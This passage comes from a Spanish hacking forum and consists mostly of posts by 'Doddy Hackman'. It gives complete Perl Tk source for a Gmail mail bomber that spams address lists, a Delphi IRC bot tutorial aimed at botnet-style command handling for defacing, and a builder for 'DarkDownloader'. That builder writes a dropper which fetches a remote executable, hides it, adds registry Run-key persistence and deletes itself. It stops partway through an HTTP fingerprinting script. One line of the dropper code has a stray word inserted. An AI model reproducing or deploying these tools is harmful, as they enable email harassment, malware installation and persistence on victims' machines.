        'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpserverport',
        $port );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 );
    $correo->Configuration->Fields->Update();

    if ( -f $file ) {
        $correo->AddAttachment($file);
    }

    $correo->{From}     = $from;
    $correo->{CC}       = $cc;
    $correo->{BCC}      = $bcc;
    $correo->{To}       = $to;
    $correo->{Subject}  = $asunto;
    $correo->{TextBody} = $mensaje;
    $correo->Send();

}

# The End ?


Y aca les dejo la version Tk.

Una imagen :



El codigo :

Código: perl

#!usr/bin/perl
#DH Bomber 0.2
#Coded By Doddy H

use Tk;
use Tk::ROText;
use Tk::FileSelect;
use Cwd;
use Win32::OLE;

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $color_fondo = "black";
my $color_texto = "white";

my $ve =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$ve->geometry("920x560+20+20");
$ve->resizable( 0, 0 );
$ve->title("DH Bomber 0.2 (C) Doddy Hackman 2013");

$d = $ve->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $ma = $d->Menubutton(
    -text             => "Mails",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $op = $d->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $ab = $d->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $ex = $d->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$d->pack( -side => "top", -fill => "x" );

$ma->command(
    -label      => "Add Mailist",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&addmailist
);
$ma->command(
    -label      => "Add Mail",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&addmail
);
$ma->command(
    -label      => "Clean List",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&delist
);

$op->command(
    -label      => "Spam Now",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&spamnow
);
$op->command(
    -label      => "Add Attachment",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&addfile
);
$op->command(
    -label      => "Clean All",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&clean
);

$ab->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&about
);
$ex->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&chali
);

$ve->Label(
    -text       => "Gmail Login",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 100, -y => 40 );

$ve->Label(
    -text       => "Username : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 80 );
my $user = $ve->Entry(
    -width      => 30,
    -text       => '[email protected]',
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 83, -x => 85 );

$ve->Label(
    -text       => "Password : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 120 );
my $pass = $ve->Entry(
    -show       => "*",
    -width      => 30,
    -text       => 'Secret',
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 123, -x => 85 );

$ve->Label(
    -text       => "Message",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 110, -y => 160 );

$ve->Label(
    -text       => "Number : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 210 );
my $number = $ve->Entry(
    -width      => 5,
    -text       => "1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 75, -y => 212 );

$ve->Label(
    -text       => "Attachment : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 240 );
my $fi = $ve->Entry(
    -text       => 'None',
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 90, -y => 242 );

$ve->Label(
    -text       => "Subject : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 270 );
my $tema = $ve->Entry(
    -text       => "Hi idiot",
    -width      => 20,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 73, -y => 273 );

$ve->Label(
    -text       => "Body",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 110, -y => 310 );
my $body = $ve->Scrolled(
    "Text",
    -width      => 30,
    -height     => 12,
    -background => $color_fondo,
    -foreground => $color_texto,
    -scrollbars => "e"
)->place( -x => 45, -y => 350 );
$body->insert( "end", "Welcome to the hell" );

$ve->Label(
    -text       => "Mailist",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 40, -x => 400 );
my $mailist = $ve->Listbox(
    -height     => 31,
    -width      => 33,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 85, -x => 330 );

$ve->Label(
    -text       => "Console",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 40, -x => 685 );
my $console = $ve->Scrolled(
    "ROText",
    -width      => 40,
    -height     => 31,
    -background => $color_fondo,
    -foreground => $color_texto,
    -scrollbars => "e"
)->place( -x => 580, -y => 84 );

MainLoop;

sub addmailist {

    my $adda = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );
    $adda->geometry("400x90+20+20");
    $adda->resizable( 0, 0 );
    $adda->title("Add Mailist");

    $adda->Label(
        -text       => "Mailist : ",
        -background => $color_fondo,
        -foreground => $color_texto,
        -font       => "Impact1"
    )->place( -x => 10, -y => 30 );
    my $en = $adda->Entry(
        -background => $color_fondo,
        -foreground => $color_texto,
        -width      => 33
    )->place( -y => 33, -x => 75 );
    $adda->Button(
        -text             => "Browse",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -width            => 7,
        -activebackground => $color_texto,
        -command          => \&brona
    )->place( -y => 33, -x => 285 );
    $adda->Button(
        -text             => "Load",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -width            => 7,
        -activebackground => $color_texto,
        -command          => \&bronaxa
    )->place( -y => 33, -x => 340 );

    sub brona {
        $browse = $adda->FileSelect( -directory => getcwd() );
        my $file = $browse->Show;
        $en->configure( -text => $file );
    }

    sub bronaxa {
        open( FILE, $en->get );
        @words = <FILE>;
        close FILE;

        for (@words) {
            $mailist->insert( "end", $_ );
        }
    }
}

sub addfile {

    my $addax = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );
    $addax->geometry("390x90+20+20");
    $addax->resizable( 0, 0 );
    $addax->title("Add File");

    $addax->Label(
        -text       => "File : ",
        -background => $color_fondo,
        -foreground => $color_texto,
        -font       => "Impact1"
    )->place( -x => 10, -y => 30 );
    my $enaf = $addax->Entry(
        -background => $color_fondo,
        -foreground => $color_texto,
        -width      => 33
    )->place( -y => 33, -x => 55 );
    $addax->Button(
        -text             => "Browse",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -width            => 7,
        -activebackground => $color_texto,
        -command          => \&bronax
    )->place( -y => 33, -x => 265 );
    $addax->Button(
        -text             => "Load",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -width            => 7,
        -activebackground => $color_texto,
        -command          => \&bronaxx
    )->place( -y => 33, -x => 320 );

    sub bronax {
        $browse = $addax->FileSelect( -directory => getcwd() );
        my $filea = $browse->Show;
        $enaf->configure( -text => $filea );
    }

    sub bronaxx {
        $fi->configure( -text => $enaf->get );
    }
}

sub addmail {

    my $add = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );
    $add->geometry("350x90+20+20");
    $add->resizable( 0, 0 );
    $add->title("Add Mail");

    $add->Label(
        -text       => "Mail : ",
        -background => $color_fondo,
        -foreground => $color_texto,
        -font       => "Impact1"
    )->place( -x => 10, -y => 30 );
    my $ew = $add->Entry(
        -background => $color_fondo,
        -foreground => $color_texto,
        -width      => 33
    )->place( -y => 33, -x => 60 );
    $add->Button(
        -text             => "Add",
        -background       => $color_fondo,
        -activebackground => $color_texto,
        -foreground       => $color_texto,
        -width            => 7,
        -command          => \&addnow
    )->place( -y => 33, -x => 275 );

    sub addnow {
        $mailist->insert( "end", $ew->get );
    }

}

sub delist {
    $mailist->delete( 0.0, "end" );
}

sub spamnow {

    $console->delete( 0.1, "end" );

    $console->insert( "end", "[+] Starting the Party\n\n" );

    my @mails = $mailist->get( "0.0", "end" );
    chomp @mails;
    for my $mail (@mails) {

        my $text = $body->get( "1.0", "end" );

        if ( $fi->get eq "None" ) {

            for ( 1 .. $number->get ) {

                $ve->update;
                $console->insert( "end",
                    "[+] Mail Number " . $_ . " to $mail\n" );

                sendmail(
                    "smtp.gmail.com", "465",
                    $user->get,       $pass->get,
                    $user->get,       $user->get,
                    $user->get,       $mail,
                    $tema->get,       $text,
                    ""
                );
            }

        }
        else {

            for ( 1 .. $number->get ) {

                $ve->update;
                $console->insert( "end",
                    "[+] Mail Number " . $_ . " to $mail\n" );

                sendmail(
                    "smtp.gmail.com", "465",
                    $user->get,       $pass->get,
                    $user->get,       $user->get,
                    $user->get,       $mail,
                    $tema->get,       $text,
                    $fi->get
                );
            }

        }
    }
    $console->insert( "end", "\n\n[+] Finished" );

}

sub clean {

    $user->configure( -text => " " );
    $pass->configure( -text => " " );
    $number->configure( -text => " " );
    $fi->configure( -text => "None" );
    $tema->configure( -text => " " );
    $body->delete( 0.1, "end" );
    $mailist->delete( 0.0, "end" );
    $console->delete( 0.1, "end" );

}

sub about {
    $about = MainWindow->new( -background => "black" );
    $about->title("About");
    $about->geometry("300x110");
    $about->resizable( 0, 0 );
    $about->Label( -background => "black", -foreground => "white" )->pack();
    $about->Label(
        -text       => "Contact : lepuke[at]hotmail[com]",
        -font       => "Impact",
        -background => "black",
        -foreground => "white"
    )->pack();
    $about->Label(
        -text       => "Web : doddyhackman.webcindario.com",
        -font       => "Impact",
        -background => "black",
        -foreground => "white"
    )->pack();
    $about->Label(
        -text       => "Blog : doddy-hackman.blogspot.com",
        -font       => "Impact",
        -background => "black",
        -foreground => "white"
    )->pack();
}

sub chali { exit(1); }

sub sendmail {

## Function Based on : http://code.activestate.com/lists/pdk/5351/
## Credits : Thanks to Phillip Richcreek and Eric Promislow

    my (
        $host, $port, $username, $password, $from, $cc,
        $bcc,  $to,   $asunto,   $mensaje,  $file
    ) = @_;

    $correo = Win32::OLE->new('CDO.Message');

    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendusername',
        $username );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendpassword',
        $password );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpserverport',
        $port );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 );
    $correo->Configuration->Fields->Update();

    if ( -f $file ) {
        $correo->AddAttachment($file);
    }

    $correo->{From}     = $from;
    $correo->{CC}       = $cc;
    $correo->{BCC}      = $bcc;
    $correo->{To}       = $to;
    $correo->{Subject}  = $asunto;
    $correo->{TextBody} = $mensaje;
    $correo->Send();

}

#The End ?


#257
Delphi / [Delphi] Creacion de un IRC Bot
Septiembre 24, 2013, 04:24:50 PM
[Titulo] : Creacion de un IRC Bot
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Conectando con el servidor
0x03 : Listando usuarios
0x04 : Mandar mensajes
0x05 : Recibir privados
0x06 : Reconocer comandos
0x07 : Testeando
0x08 : Bibliografia

-- =================--------

0x01 : Introduccion

Bueno , voy a empezar este manual sobre como hacer un bot irc.

Para este manual necesitan tener instalado TIdIRC y TPerlRegEx en Delphi , el primero me vino por defecto en Delphi 2010 y el segundo lo pueden bajar e instalar You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Nota : Proximamente presentare mi irc bot llamado Claptrap en honor al robot de bordelands xDD.

¿ Que es IRC ?

Segun wikipedia , IRC (Internet Relay Chat) es un protocolo de comunicación en tiempo real basado en texto, que permite debates entre dos o más personas. Se diferencia de la mensajería instantánea en que los usuarios no deben acceder a establecer la comunicación de antemano, de tal forma que todos los usuarios que se encuentran en un canal pueden comunicarse entre sí, aunque no hayan tenido ningún contacto anterior. Las conversaciones se desarrollan en los llamados canales de IRC, designados por nombres que habitualmente comienzan con el carácter # o & (este último sólo es utilizado en canales locales del servidor). Es un sistema de charlas ampliamente utilizado por personas de todo el mundo.

0x02 : Conectando con el servidor

Lo de siempre , creamos un proyecto nuevo de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez hecho esto vamos a crear la interfaz para todo el manual.

Lo que vamos a necesitar es usar :

6 Labels
3 Edit
3 Botones
1 ListBox (para los usuarios conectados)
2 Memo

Y los componentes TPerlRegEx y IdIRC

Una imagen de como deberia quedar :



Una vez hecho esto llego la hora de realizar la conexion , entonces hacemos doble click en el boton de "conectar" o el nombre que le pusieron ustedes para poner el siguiente codigo :

Código: text

procedure TForm1.Button1Click(Sender: TObject);
begin

  IdIRC1.Host := Edit1.Text; // Usamos el contenido de Edit1 para reconocer el host a conectarse
  IdIRC1.Port := 6667; // Usamos 6667 para el puerto del host
  IdIRC1.Nickname := Edit3.Text; // Usamos el contenido de Edit3.Text como nickname
  IdIRC1.Username := Edit3.Text + ' 1 1 1 1';
  // Declaramos el username para entrar
  IdIRC1.AltNickname := Edit3.Text + '-123'; // Declaramos el nick alternativo

  try // Intentamos hacer esto ....

    begin

      IdIRC1.Connect; // Iniciamos la conexion
      IdIRC1.Join(Edit2.Text); // Usamos Edit2 como el nombre del canal a entrar

    end;

  except // Si algo sale mal ...
    begin
      ShowMessage('Error'); // Mostramos error con ShowMessage()

    end;
  end;

end;


Una imagen de como quedo :



Con esto ya tenemos la conexion entonces usamos el segundo boton llamado "desconectar" o el nombre que ustedes le pusieron , hacemos doble click y agregamos este codigo :

Código: text

procedure TForm1.Button2Click(Sender: TObject);
begin
  IdIRC1.Disconnect; // Nos desconectamos del canal en el que estamos
end;


Se podria decir que con esto ya tenemos para conectarnos y desconectarmos del canal sin ningun problema.

Pero para variar las cosas vamos a usar el memo1 como consola de las cosas que pasan durante la conexion , entonces vamos al diseño del formulario , buscamos el IdIRC1 , le hacemos un solo click y nos fijamos en object inspector para despues ir
a la parte de eventos , buscamos el evento OnRaw , le hacemos doble click y agregamos este codigo :

Código: text

procedure TForm1.IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
  const AMessage: string);
begin
  Memo1.Lines.Add(AMessage); // Agregamos al memo1 lo que AMessage recibe
end;


Una imagen de donde esta la parte del evento y de paso muestro como quedo el codigo :



Eso seria la parte de como conectarnos y desconectarnos de un canal irc.

0x03 : Listando usuarios

Esta es la parte en la que usamos PerlRegEx , que es un componente que nos permite usar las expresiones regualares de Perl en Delphi.

Entonces buscamos el evento "NicknamesListReceived" en el componente IdIRC1 que esta en el formulario para hacer doble click en el evento y poner el siguiente codigo.

Código: text

procedure TForm1.IdIRC1NicknamesListReceived
  (ASender: TIdContext; const AChannel: string; ANicknameList: TStrings);
var
  i: integer; // Declaramos i como entero
  i2: integer; // Declaramos i2 como entero
  renicks: string; // Declaramos renicks como string
  listanow: TStringList; // Declaramos listanow como StringList
  arraynow: array of String; // Declaramos arraynow como array of string

begin

  ListBox1.Clear; // Limpiamos el contenido de ListBox1

  for i := 0 to ANicknameList.Count - 1 do // Listamos con for los nicks que se encuentran
  // en ANicknameList
  begin

    PerlRegEx1.Regex := '(.*) = ' + Edit2.Text + ' :(.*)';
    // Establecemos la expresion regular
    // a usar

    PerlRegEx1.Subject := ANicknameList[i]; // Buscamos el nick en ANicknameList

    if PerlRegEx1.Match then // Si perlregex encuentra algo ...
    begin
      renicks := PerlRegEx1.SubExpressions[2]; // Declaramos como renicks el segundo resultado de
      // la expresion regular

      renicks := StringReplace(renicks, Edit3.Text, '', []);
      // Borramos de renicks el nombre
      // de nuestro bot

      listanow := TStringList.Create; // Declaramos como TStringList a listanow
      listanow.Delimiter := ' '; // Establecemos que se busque los nicks entre espacios en blanco
      listanow.DelimitedText := renicks; // Realizamos la busqueda

      for i2 := 0 to listanow.Count - 1 do // Listamos la lista 'listanow' que contiene los nicks
      begin
        ListBox1.Items.Add(listanow[i2]); // Agregamos a ListBox1 los nicks encontrados
      end;

    end;

  end;

end;


Les dejo una imagen de como nos deberia quedar el codigo y de donde esta el evento que usamos.



0x04 : Mandar mensajes

Mandar mensajes usando el componente de indy es muy facil , solo tenemos que hacer doble click en el tercer boton , en mi caso le puse de texto "spam now" , ustedes pueden
ponerle el que quieran , cuando este en el codigo del formulario en la parte del tercer boton pongan el siguiente codigo.

Código: text

procedure TForm1.Button3Click(Sender: TObject);
var
  i: integer; // Declaramos i como entero
begin
  IdIRC1.Say(Edit2.Text, 'hola publico'); // Mandamos un mensaje publico al canal en el que
  // estamos
  for i := 0 to ListBox1.Count - 1 do // Abrimos los items de listbox usando un for
  begin
    IdIRC1.Say(ListBox1.Items[i], 'hola privado');
    // Mandamos un privado al nick de la lista
  end;

end;


Una imagen de como les deberia quedar el codigo :



0x05 : Recibir privados

Otra cosa facil de hacer gracias a el componente de indy es que se pueden recibir y leer los mensajes privados que nos mandan , para hacer esto vamos al evento OnPrivateMessage de IdIRC y ponemos
el siguiente codigo.

Código: text

procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  AHost, ANicknameTo, AMessage: string);
begin
  Memo3.Lines.Add(ANicknameFrom + ' : ' + AMessage); // Mostramos en el memo3 el nickname
  // de quien nos esta mandando el mensaje y ':' que separa el nick del mensaje que nos
  // enviaron
end;


Una imagen de donde esta el evento y como quedo el codigo.



0x06 : Reconocer comandos

Esta es la parte mas importante en un irc bot , que es para poder mandar comandos al bot o hacer cierta cosa como un SQLiScanner o AdminFinder u otra cosa para dichoso
Defacing.

Para hacer esto nos vamos a basar en mensajes privados , de esa forma no estamos delatando al bot en el canal publico , entonces volvemos al evento OnPrivateMessage del punto
anterior para actualizarlo con este codigo nuevo :

Código: text

procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  AHost, ANicknameTo, AMessage: string);
begin

  Memo3.Lines.Add(ANicknameFrom + ' : ' + AMessage);

  // Mostramos en el memo3 el nickname
  // de quien nos esta mandando el mensaje y tambien ':' que separa el nick del mensaje que nos
  // enviaron

  PerlRegEx1.Regex := '!help'; // Usamos esta linea para comprobar si AMessage contiene !help
  PerlRegEx1.Subject := AMessage; // Buscamos en  AMessage

  if PerlRegEx1.Match then // Si se encontro ....
  begin
    IdIRC1.Say(ANicknameFrom,
      'el comando disponible es : !scanear <cmd1> <cmd2>');
    // Respondemos
    // con el unico comando disponible
  end;

  PerlRegEx1.Regex := '!scanear (.*) (.*)'; // Capturamos lo que se encuentre a la derecha de
  // !scanear y hacemos un espacio para capturar lo que
  // esta al lado de lo que encontramos
  // en realidad son dos comandos
  PerlRegEx1.Subject := AMessage; // Buscamos los dos comandos en AMessage que
  // contiene el mensaje que nos estan enviando

  if PerlRegEx1.Match then // Si se encontro algo ...
  begin
    IdIRC1.Say(ANicknameFrom, 'comando 1 : ' + PerlRegEx1.SubExpressions[1]);
    // Le respondemos
    // al que nos envio el mensaje privado con el valor del primer comando que nos envio
    IdIRC1.Say(ANicknameFrom, 'comando 2 : ' + PerlRegEx1.SubExpressions[2]);
    // Le respondemos
    // al que nos envio el mensaje privado con el valor del segundo comando que nos envio
  end;

end;


Una imagen de donde esta el evento y de como quedo el codigo.



0x07 : Testeando

Una vez hecho todo esto podemos probar como quedo todo , les dejo unas imagenes que de como
funciona.







Eso seria todo

0x08 : Bibliografia

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

--========--
  The End ?
--========--

Version You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#258
Perl / [Perl Tk] DarkDownloader 0.1
Septiembre 20, 2013, 03:56:35 PM
Un simple script en perl para descargar archivos con las siguientes opciones :

  • Bajar el archivo y cambiar el nombre
  • Mover a otro directorio el archivo descargado
  • Ocultar archivo
  • Cargar cada vez que inicie Windows
  • Autoborrarse despues de terminar todo

    Una imagen :



    El codigo :

    Código: perl

    #!usr/bin/perl
    #DarkDownloader 0.1
    #Coded By Doddy H
    #Command : perl2exe -gui gen_download.pl

    use Tk;

    my $color_fondo = "black";
    my $color_texto = "green";

    if ( $^O eq 'MSWin32' ) {
        use Win32::Console;
        Win32::Console::Free();
    }

    my $ven =
      MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
    $ven->geometry("340x320+20+20");
    $ven->resizable( 0, 0 );
    $ven->title("DarkDownloader 0.1");

    $ven->Label(
        -text       => "Link : ",
        -font       => "Impact",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 20 );
    my $link = $ven->Entry(
        -text       => "http://localhost/test.exe",
        -width      => 40,
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 60, -y => 25 );

    $ven->Label(
        -text       => "-- == Options == --",
        -background => $color_fondo,
        -foreground => $color_texto,
        -font       => "Impact"
    )->place( -x => 90, -y => 60 );

    $ven->Checkbutton(
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "Save File with this name : ",
        -variable         => \$op_save_file_name
    )->place( -x => 20, -y => 100 );
    my $save_file_with_name = $ven->Entry(
        -width      => 20,
        -text       => "testar.exe",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 170, -y => 100 );

    $ven->Checkbutton(
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "Save File in this directory : ",
        -variable         => \$op_save_in_dir
    )->place( -x => 20, -y => 130 );
    my $save_file_in_this_dir = $ven->Entry(
        -background => $color_fondo,
        -foreground => $color_texto,
        -width      => 20,
        -text       => "C:/WINDOWS/sexnow/"
    )->place( -x => 170, -y => 130 );

    $ven->Checkbutton(
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "Hide File",
        -variable         => \$op_hide
    )->place( -x => 20, -y => 160 );

    $ven->Checkbutton(
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "Load each time you start Windows",
        -variable         => \$op_regedit
    )->place( -x => 20, -y => 190 );

    $ven->Checkbutton(
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "AutoDelete",
        -variable         => \$op_chau
    )->place( -x => 20, -y => 220 );

    $ven->Button(
        -command          => \&genow,
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "Generate !",
        -font             => "Impact",
        -width            => 30
    )->place( -x => 40, -y => 260 );

    MainLoop;

    sub genow {

        my $code_now = q(#!usr/bin/perl
    #DarkDownloader 0.1
    #Coded By Doddy H

    use LWP::UserAgent;
    use File::Basename;
    use File::Copy qw(move);
    use Win32::File;
    use Win32::TieRegistry( Delimiter => "/" );
    use Cwd;

    my $nave = LWP::UserAgent->new;
    $nave->agent(
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
    );
    $nave->timeout(5);

    # Config

    my $link                      = "ACA_VA_TU_LINK";
    my $op_bajar_con_este_nombre  = ACA_VA_TU_OP_NOMBRE;
    my $op_bajar_con_este_nombrex = "ACA_VA_TU_OP_NOMBREX";
    my $op_en_este_dir            = ACA_VA_TU_OP_DIR;
    my $op_en_este_dirx           = "ACA_VA_TU_OP_DIRX";
    my $op_ocultar_archivos       = ACA_VA_TU_OP_HIDE;
    my $op_agregar_al_registro    = ACA_VA_TU_OP_REG;
    my $op_chau                   = ACA_VA_TU_CHAU;

    #

    # Download File

    if ( $op_bajar_con_este_nombre eq 1 ) {
        download( $link, $op_bajar_con_este_nombrex );
    }
    else {
        download( $link, basename($link) );
    }

    # Change Directory

    if ( $op_en_este_dir eq 1 ) {

        unless ( -d $op_en_este_dirx ) {
            mkdir( $op_en_este_dirx, 777 );
        }

        if ( $op_bajar_con_este_nombre eq 1 ) {
            move( $op_bajar_con_este_nombrex,
                $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex );
        }
        else {
            move( basename($link), $op_en_este_dirx );
        }

    }

    # HIDE FILES

    if ( $op_ocultar_archivos eq 1 ) {

        hideit( basename($link),                                     "hide" );
        hideit( $op_en_este_dirx,                                    "hide" );
        hideit( $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex, "hide" );

    }

    # REG ADD

    if ( $op_agregar_al_registro eq 1 ) {

        if ( $op_bajar_con_este_nombre eq 1 ) {

            if ( $op_en_este_dir eq 1 ) {
                $Registry->{
    "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
                  } = $op_en_este_dirx
                  . "/"
                  . $op_bajar_con_este_nombrex;
            }
            else {
                $Registry->{
    "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
                  } = getcwd()
                  . "/"
                  . $op_bajar_con_este_nombrex;
            }

        }
        else {

            if ( $op_en_este_dir eq 1 ) {
                $Registry->{
    "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
                  } = $op_en_este_dirx
                  . "/"
                  . basename($link);
            }
            else {
                $Registry->{
    "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
                  } = getcwd()
                  . "/"
                  . basename($link);
            }
        }

    }

    ## Boom !

    if ( $op_chau eq 1 ) {

        unlink($0);

    }

    ##

    sub hideit {
        if ( $_[1] eq "show" ) {
            Win32::File::SetAttributes( $_[0], NORMAL );
        }
        elsif ( $_[1] eq "hide" ) {
       winkey     Win32::File::SetAttributes( $_[0], HIDDEN );
        }
    }

    sub download {
        if ( $nave->mirror( $_[0], $_[1] ) ) {
            if ( -f $_[1] ) {
                return true;
            }
        }
    }

    # The End ?);

        my $link     = $link->get;
        my $new_file = $save_file_with_name->get;
        my $new_dir  = $save_file_in_this_dir->get;

        $code_now =~ s/ACA_VA_TU_LINK/$link/;

        if ( $op_save_file_name eq 1 ) {
            $code_now =~ s/ACA_VA_TU_OP_NOMBRE/1/;
        }
        else {
            $code_now =~ s/ACA_VA_TU_OP_NOMBRE/0/;
        }

        $code_now =~ s/ACA_VA_TU_OP_NOMBREX/$new_file/;

        if ( $op_save_in_dir eq 1 ) {
            $code_now =~ s/ACA_VA_TU_OP_DIR/1/;
        }
        else {
            $code_now =~ s/ACA_VA_TU_OP_DIR/0/;
        }

        $code_now =~ s/ACA_VA_TU_OP_DIRX/$new_dir/;

        if ( $op_hide eq 1 ) {
            $code_now =~ s/ACA_VA_TU_OP_HIDE/1/;
        }
        else {
            $code_now =~ s/ACA_VA_TU_OP_HIDE/0/;
        }

        if ( $op_regedit eq 1 ) {
            $code_now =~ s/ACA_VA_TU_OP_REG/1/;
        }
        else {
            $code_now =~ s/ACA_VA_TU_OP_REG/0/;
        }

        if ( $op_chau eq 1 ) {
            $code_now =~ s/ACA_VA_TU_CHAU/1/;
        }
        else {
            $code_now =~ s/ACA_VA_TU_CHAU/0/;
        }

        if ( -f gen_download . pl ) {
            unlink("gen_download.pl");
        }

        open( FILE, ">>gen_download.pl" );
        print FILE $code_now;
        close FILE;

        $ven->Dialog(
            -title            => "Oh Yeah",
            -buttons          => ["OK"],
            -text             => "Enjoy this downloader",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();

    }

    #The End ?
#259
Perl / [Perl Tk] HTTP FingerPrinting 0.1
Septiembre 13, 2013, 07:36:50 PM
Un simple script en Perl para HTTP FingerPrinting o por lo menos lo intenta xDD.

El codigo :

Código: perl

#!usr/bin/perl
#HTTP FingerPrinting 0.1
#Coded By Doddy H

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

print "\n-- == HTTP FingerPrinting 0.1 == --\n";

unless ( $ARGV[0] ) {

    print "\n[+] Sintax : $0 <page> < -fast / -full >\n";

}
else {

    print "\n[+] Getting Data ...\n";

    my $code = $nave->get( $ARGV[0] );

    print "\n----------------------------------------------\n";

    if ( $ARGV[1] eq "-full" ) {

        print $code->headers()->as_string();

    }
    else {

        print "\n[+] Date : " . $code->header('date');
        print "\n[+] Server : " . $code->header('server');
        print "\n[+] Connection : " . $code->header('connection');
